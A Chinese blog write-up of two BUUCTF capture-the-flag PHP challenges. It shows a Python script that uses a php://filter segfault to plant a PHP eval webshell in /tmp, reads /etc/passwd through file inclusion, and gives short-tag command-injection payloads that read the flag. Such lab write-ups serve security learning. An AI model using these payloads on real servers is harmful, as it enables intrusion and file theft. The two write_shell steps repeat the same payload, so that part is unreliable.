BUUCTF-PHP特性


[NPUCTF2020]ezinclude

  1. 设置name参数,返回的cookie中的值是对应的pass

image-20220303172758431

  1. 得到flflflflag.php,访问发现重定向,抓包查看

image-20220303172956989

得到源码

include($_GET["file"]);
  1. 扫目录发现dir.php,php伪协议读取文件

image-20220303173150650

image-20220303172659785

dir.php会列出/tmp所有的文件

这里可以用php7 segment fault特性:

php://filter/string.strip_tags=/etc/passwd

php执行过程中出现 Segment Fault,这样如果在此同时上传文件,那么临时文件就会被保存在/tmp目录,不会被删除

import requests
from io import BytesIO

payload = "<?php eval($_POST['a']);?>"
file_data = {
    "file": BytesIO(payload.encode())
}
url = "http://ebfb80aa-4e15-470e-8aa4-14e742b82793.node4.buuoj.cn:81/flflflflag.php?file=php://filter/string.strip_tags/resource=/etc/passwd"
r = requests.post(url,data=file_data,allow_redirects=False)
print(r.text)
  1. 访问dir.php

image-20220303173911484

  1. 利用文件包含执行代码,flag在phpinfo

image-20220303180412297

write_shell(php短标签)

  • php短标签<? ?>
  • php中可以用%09替换空格

Payload:

  1. 查看生成文件目录

image-20220303163759469

  1. 列目录
?action=upload&data=<?echo%09`tac%09/flllllll1112222222lag`?>
  1. 访问sandbox/cc551ab005b2e60fbdc88de809b2c4b1/

image-20220303163531584

  1. 查文件
?action=upload&data=<?echo%09`tac%09/flllllll1112222222lag`?>
  1. 访问sandbox/cc551ab005b2e60fbdc88de809b2c4b1/

image-20220303163824924


文章作者: 尘落
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 尘落 !
评论
  目录